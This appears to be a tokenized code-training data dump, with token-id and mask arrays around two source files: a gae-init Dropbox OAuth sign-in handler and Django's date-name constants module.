[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
dhstack/gae-init
main/auth/dropbox.py
8
1407
# coding: utf-8 import flask import auth import config import model import util from main import app dropbox_config = dict( access_token_method='POST', access_token_url='https://api.dropbox.com/1/oauth2/token', authorize_url='https://www.dropbox.com/1/oauth2/authorize', base_url='https://www.dropbox.com/1/', consumer_key=config.CONFIG_DB.dropbox_app_key, consumer_secret=config.CONFIG_DB.dropbox_app_secret, ) dropbox = auth.create_oauth_app(dropbox_config, 'dropbox') @app.route('/api/auth/callback/dropbox/') def dropbox_authorized(): response = dropbox.authorized_response() if response is None: flask.flash('You denied the request to sign in.') return flask.redirect(util.get_next_url()) flask.session['oauth_token'] = (response['access_token'], '') me = dropbox.get('account/info') user_db = retrieve_user_from_dropbox(me.data) return auth.signin_user_db(user_db) @dropbox.tokengetter def get_dropbox_oauth_token(): return flask.session.get('oauth_token') @app.route('/signin/dropbox/') def signin_dropbox(): return auth.signin_oauth(dropbox, 'https') def retrieve_user_from_dropbox(response): auth_id = 'dropbox_%s' % response['uid'] user_db = model.User.get_by('auth_ids', auth_id) if user_db: return user_db return auth.create_user_db( auth_id=auth_id, name=response['display_name'], username=response['display_name'], )
mit
[ 3, 2803, 26, 2774, 13, 24, 199, 199, 646, 7209, 199, 199, 646, 1790, 199, 646, 1101, 199, 646, 1402, 199, 646, 4884, 199, 199, 504, 2446, 492, 1145, 199, 199, 32118, 63, 888, 275, 1211, 8, 523, 2879, 63, 1418, 63, 765, 534, 4030, 297, 523, 2879, 63, 1418, 63, 633, 534, 2859, 921, 1246, 14, 32118, 14, 957, 15, 17, 15, 6126, 18, 15, 1418, 297, 523, 20210, 63, 633, 534, 2859, 921, 1544, 14, 32118, 14, 957, 15, 17, 15, 6126, 18, 15, 14204, 297, 523, 1300, 63, 633, 534, 2859, 921, 1544, 14, 32118, 14, 957, 15, 17, 3678, 523, 9790, 63, 498, 29, 888, 14, 5569, 63, 2846, 14, 32118, 63, 571, 63, 498, 12, 523, 9790, 63, 4731, 29, 888, 14, 5569, 63, 2846, 14, 32118, 63, 571, 63, 4731, 12, 199, 9, 199, 199, 32118, 275, 1790, 14, 981, 63, 6126, 63, 571, 8, 32118, 63, 888, 12, 283, 32118, 358, 421, 199, 32, 571, 14, 4449, 2336, 1246, 15, 1178, 15, 3058, 15, 32118, 6217, 199, 318, 5978, 1977, 63, 11497, 837, 523, 1177, 275, 5978, 1977, 14, 11497, 63, 1310, 342, 523, 340, 1177, 365, 488, 26, 272, 7209, 14, 11331, 360, 5556, 23355, 314, 1056, 370, 2070, 315, 2659, 272, 372, 7209, 14, 4876, 8, 1974, 14, 362, 63, 2184, 63, 633, 1012, 523, 7209, 14, 1730, 459, 6126, 63, 1418, 418, 275, 334, 1310, 459, 2732, 63, 1418, 995, 4074, 523, 562, 275, 5978, 1977, 14, 362, 360, 2048, 15, 815, 358, 523, 922, 63, 697, 275, 8044, 63, 751, 63, 504, 63, 32118, 8, 278, 14, 576, 9, 523, 372, 1790, 14, 1037, 262, 63, 751, 63, 697, 8, 751, 63, 697, 9, 421, 199, 32, 32118, 14, 1418, 7416, 199, 318, 664, 63, 32118, 63, 6126, 63, 1418, 837, 523, 372, 7209, 14, 1730, 14, 362, 360, 6126, 63, 1418, 358, 421, 199, 32, 571, 14, 4449, 2336, 1037, 262, 15, 32118, 6217, 199, 318, 2070, 262, 63, 32118, 837, 523, 372, 1790, 14, 1037, 262, 63, 6126, 8, 32118, 12, 283, 2859, 358, 421, 199, 318, 8044, 63, 751, 63, 504, 63, 32118, 8, 1310, 304, 523, 1790, 63, 344, 275, 283, 32118, 4970, 83, 7, 450, 1177, 459, 1535, 418, 523, 922, 63, 697, 275, 1402, 14, 1899, 14, 362, 63, 991, 360, 1178, 63, 1580, 297, 1790, 63, 344, 9, 523, 340, 922, 63, 697, 26, 272, 372, 922, 63, 697, 819, 372, 1790, 14, 981, 63, 751, 63, 697, 8, 272, 1790, 63, 344, 29, 1178, 63, 344, 12, 272, 536, 29, 1310, 459, 2918, 63, 354, 995, 272, 3434, 29, 1310, 459, 2918, 63, 354, 995, 523, 776, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2803, 26, 2774, 13, 24, 199, 199, 646, 7209, 199, 199, 646, 1790, 199, 646, 1101, 199, 646, 1402, 199, 646, 4884, 199, 199, 504, 2446, 492, 1145, 199, 199, 32118, 63, 888, 275, 1211, 8, 523, 2879, 63, 1418, 63, 765, 534, 4030, 297, 523, 2879, 63, 1418, 63, 633, 534, 2859, 921, 1246, 14, 32118, 14, 957, 15, 17, 15, 6126, 18, 15, 1418, 297, 523, 20210, 63, 633, 534, 2859, 921, 1544, 14, 32118, 14, 957, 15, 17, 15, 6126, 18, 15, 14204, 297, 523, 1300, 63, 633, 534, 2859, 921, 1544, 14, 32118, 14, 957, 15, 17, 3678, 523, 9790, 63, 498, 29, 888, 14, 5569, 63, 2846, 14, 32118, 63, 571, 63, 498, 12, 523, 9790, 63, 4731, 29, 888, 14, 5569, 63, 2846, 14, 32118, 63, 571, 63, 4731, 12, 199, 9, 199, 199, 32118, 275, 1790, 14, 981, 63, 6126, 63, 571, 8, 32118, 63, 888, 12, 283, 32118, 358, 421, 199, 32, 571, 14, 4449, 2336, 1246, 15, 1178, 15, 3058, 15, 32118, 6217, 199, 318, 5978, 1977, 63, 11497, 837, 523, 1177, 275, 5978, 1977, 14, 11497, 63, 1310, 342, 523, 340, 1177, 365, 488, 26, 272, 7209, 14, 11331, 360, 5556, 23355, 314, 1056, 370, 2070, 315, 2659, 272, 372, 7209, 14, 4876, 8, 1974, 14, 362, 63, 2184, 63, 633, 1012, 523, 7209, 14, 1730, 459, 6126, 63, 1418, 418, 275, 334, 1310, 459, 2732, 63, 1418, 995, 4074, 523, 562, 275, 5978, 1977, 14, 362, 360, 2048, 15, 815, 358, 523, 922, 63, 697, 275, 8044, 63, 751, 63, 504, 63, 32118, 8, 278, 14, 576, 9, 523, 372, 1790, 14, 1037, 262, 63, 751, 63, 697, 8, 751, 63, 697, 9, 421, 199, 32, 32118, 14, 1418, 7416, 199, 318, 664, 63, 32118, 63, 6126, 63, 1418, 837, 523, 372, 7209, 14, 1730, 14, 362, 360, 6126, 63, 1418, 358, 421, 199, 32, 571, 14, 4449, 2336, 1037, 262, 15, 32118, 6217, 199, 318, 2070, 262, 63, 32118, 837, 523, 372, 1790, 14, 1037, 262, 63, 6126, 8, 32118, 12, 283, 2859, 358, 421, 199, 318, 8044, 63, 751, 63, 504, 63, 32118, 8, 1310, 304, 523, 1790, 63, 344, 275, 283, 32118, 4970, 83, 7, 450, 1177, 459, 1535, 418, 523, 922, 63, 697, 275, 1402, 14, 1899, 14, 362, 63, 991, 360, 1178, 63, 1580, 297, 1790, 63, 344, 9, 523, 340, 922, 63, 697, 26, 272, 372, 922, 63, 697, 819, 372, 1790, 14, 981, 63, 751, 63, 697, 8, 272, 1790, 63, 344, 29, 1178, 63, 344, 12, 272, 536, 29, 1310, 459, 2918, 63, 354, 995, 272, 3434, 29, 1310, 459, 2918, 63, 354, 995, 523, 776, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
rlugojr/django
django/utils/dates.py
41
2295
"Commonly-used date structures" from django.utils.translation import gettext_lazy as _, pgettext_lazy WEEKDAYS = { 0: _('Monday'), 1: _('Tuesday'), 2: _('Wednesday'), 3: _('Thursday'), 4: _('Friday'), 5: _('Saturday'), 6: _('Sunday') } WEEKDAYS_ABBR = { 0: _('Mon'), 1: _('Tue'), 2: _('Wed'), 3: _('Thu'), 4: _('Fri'), 5: _('Sat'), 6: _('Sun') } WEEKDAYS_REV = { 'monday': 0, 'tuesday': 1, 'wednesday': 2, 'thursday': 3, 'friday': 4, 'saturday': 5, 'sunday': 6 } MONTHS = { 1: _('January'), 2: _('February'), 3: _('March'), 4: _('April'), 5: _('May'), 6: _('June'), 7: _('July'), 8: _('August'), 9: _('September'), 10: _('October'), 11: _('November'), 12: _('December') } MONTHS_3 = { 1: _('jan'), 2: _('feb'), 3: _('mar'), 4: _('apr'), 5: _('may'), 6: _('jun'), 7: _('jul'), 8: _('aug'), 9: _('sep'), 10: _('oct'), 11: _('nov'), 12: _('dec') } MONTHS_3_REV = { 'jan': 1, 'feb': 2, 'mar': 3, 'apr': 4, 'may': 5, 'jun': 6, 'jul': 7, 'aug': 8, 'sep': 9, 'oct': 10, 'nov': 11, 'dec': 12 } MONTHS_AP = { # month names in Associated Press style 1: pgettext_lazy('abbrev. month', 'Jan.'), 2: pgettext_lazy('abbrev. month', 'Feb.'), 3: pgettext_lazy('abbrev. month', 'March'), 4: pgettext_lazy('abbrev. month', 'April'), 5: pgettext_lazy('abbrev. month', 'May'), 6: pgettext_lazy('abbrev. month', 'June'), 7: pgettext_lazy('abbrev. month', 'July'), 8: pgettext_lazy('abbrev. month', 'Aug.'), 9: pgettext_lazy('abbrev. month', 'Sept.'), 10: pgettext_lazy('abbrev. month', 'Oct.'), 11: pgettext_lazy('abbrev. month', 'Nov.'), 12: pgettext_lazy('abbrev. month', 'Dec.') } MONTHS_ALT = { # required for long date representation by some locales 1: pgettext_lazy('alt. month', 'January'), 2: pgettext_lazy('alt. month', 'February'), 3: pgettext_lazy('alt. month', 'March'), 4: pgettext_lazy('alt. month', 'April'), 5: pgettext_lazy('alt. month', 'May'), 6: pgettext_lazy('alt. month', 'June'), 7: pgettext_lazy('alt. month', 'July'), 8: pgettext_lazy('alt. month', 'August'), 9: pgettext_lazy('alt. month', 'September'), 10: pgettext_lazy('alt. month', 'October'), 11: pgettext_lazy('alt. month', 'November'), 12: pgettext_lazy('alt. month', 'December') }
bsd-3-clause
[ 2, 5150, 2118, 13, 2972, 1434, 13955, 2, 199, 199, 504, 1639, 14, 1208, 14, 6893, 492, 9796, 63, 6395, 465, 5501, 23815, 63, 6395, 199, 199, 24929, 25683, 275, 469, 272, 378, 26, 4018, 6671, 2977, 659, 413, 26, 4018, 52, 10138, 2977, 659, 499, 26, 4018, 55, 379, 17775, 2977, 659, 650, 26, 4018, 2719, 21050, 2977, 659, 841, 26, 4018, 22533, 2977, 659, 272, 959, 26, 4018, 22332, 300, 2977, 659, 1227, 26, 4018, 51, 24759, 358, 199, 93, 199, 24929, 25683, 63, 1217, 7184, 275, 469, 272, 378, 26, 4018, 6671, 659, 413, 26, 4018, 52, 310, 659, 499, 26, 4018, 55, 379, 659, 650, 26, 4018, 2719, 85, 659, 841, 26, 4018, 22533, 659, 272, 959, 26, 4018, 22332, 659, 1227, 26, 4018, 22546, 358, 199, 93, 199, 24929, 25683, 63, 23817, 275, 469, 272, 283, 2106, 2977, 356, 378, 12, 283, 84, 10138, 2977, 356, 413, 12, 283, 24084, 17775, 2977, 356, 499, 12, 283, 273, 21050, 2977, 356, 650, 12, 283, 25876, 2977, 356, 841, 12, 272, 283, 14997, 300, 2977, 356, 959, 12, 283, 83, 24759, 356, 1227, 199, 93, 199, 16413, 51, 275, 469, 272, 413, 26, 4018, 19825, 20527, 659, 499, 26, 4018, 27717, 26709, 659, 650, 26, 4018, 45, 1047, 659, 841, 26, 4018, 33, 28026, 659, 959, 26, 4018, 15586, 659, 1227, 26, 4018, 42, 11474, 659, 272, 1520, 26, 4018, 42, 21797, 659, 1695, 26, 4018, 21640, 833, 659, 1749, 26, 4018, 23337, 31575, 659, 1616, 26, 4018, 17584, 22459, 659, 4119, 26, 4018, 1944, 432, 976, 659, 272, 3144, 26, 4018, 872, 26381, 358, 199, 93, 199, 16413, 51, 63, 19, 275, 469, 272, 413, 26, 4018, 24418, 659, 499, 26, 4018, 29204, 659, 650, 26, 4018, 4584, 659, 841, 26, 4018, 439, 82, 659, 959, 26, 4018, 7551, 659, 1227, 26, 4018, 74, 324, 659, 272, 1520, 26, 4018, 74, 348, 659, 1695, 26, 4018, 20669, 659, 1749, 26, 4018, 4127, 659, 1616, 26, 4018, 15560, 659, 4119, 26, 4018, 30442, 659, 3144, 26, 4018, 7778, 358, 199, 93, 199, 16413, 51, 63, 19, 63, 23817, 275, 469, 272, 283, 24418, 356, 413, 12, 283, 29204, 356, 499, 12, 283, 4584, 356, 650, 12, 283, 439, 82, 356, 841, 12, 283, 7551, 356, 959, 12, 283, 74, 324, 356, 1227, 12, 283, 74, 348, 356, 1520, 12, 283, 20669, 356, 1695, 12, 272, 283, 4127, 356, 1749, 12, 283, 15560, 356, 1616, 12, 283, 30442, 356, 4119, 12, 283, 7778, 356, 3144, 199, 93, 199, 16413, 51, 63, 1282, 275, 469, 221, 327, 5794, 1561, 315, 24207, 972, 23583, 3449, 272, 413, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 19825, 8038, 272, 499, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 27717, 8038, 272, 650, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 45, 1047, 659, 272, 841, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 33, 28026, 659, 272, 959, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 15586, 659, 272, 1227, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 42, 11474, 659, 272, 1520, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 42, 21797, 659, 272, 1695, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 21640, 8038, 272, 1749, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 1513, 541, 8038, 272, 1616, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 17584, 8038, 272, 4119, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 1944, 86, 8038, 272, 3144, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 8584, 2659, 199, 93, 199, 16413, 51, 63, 19600, 275, 469, 221, 327, 1415, 367, 1846, 1434, 6025, 701, 2005, 24847, 272, 413, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 19825, 20527, 659, 272, 499, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 27717, 26709, 659, 272, 650, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 45, 1047, 659, 272, 841, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 33, 28026, 659, 272, 959, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 15586, 659, 272, 1227, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 42, 11474, 659, 272, 1520, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 42, 21797, 659, 272, 1695, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 21640, 833, 659, 272, 1749, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 23337, 31575, 659, 272, 1616, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 17584, 22459, 659, 272, 4119, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 1944, 432, 976, 659, 272, 3144, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 872, 26381, 358, 199, 93, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 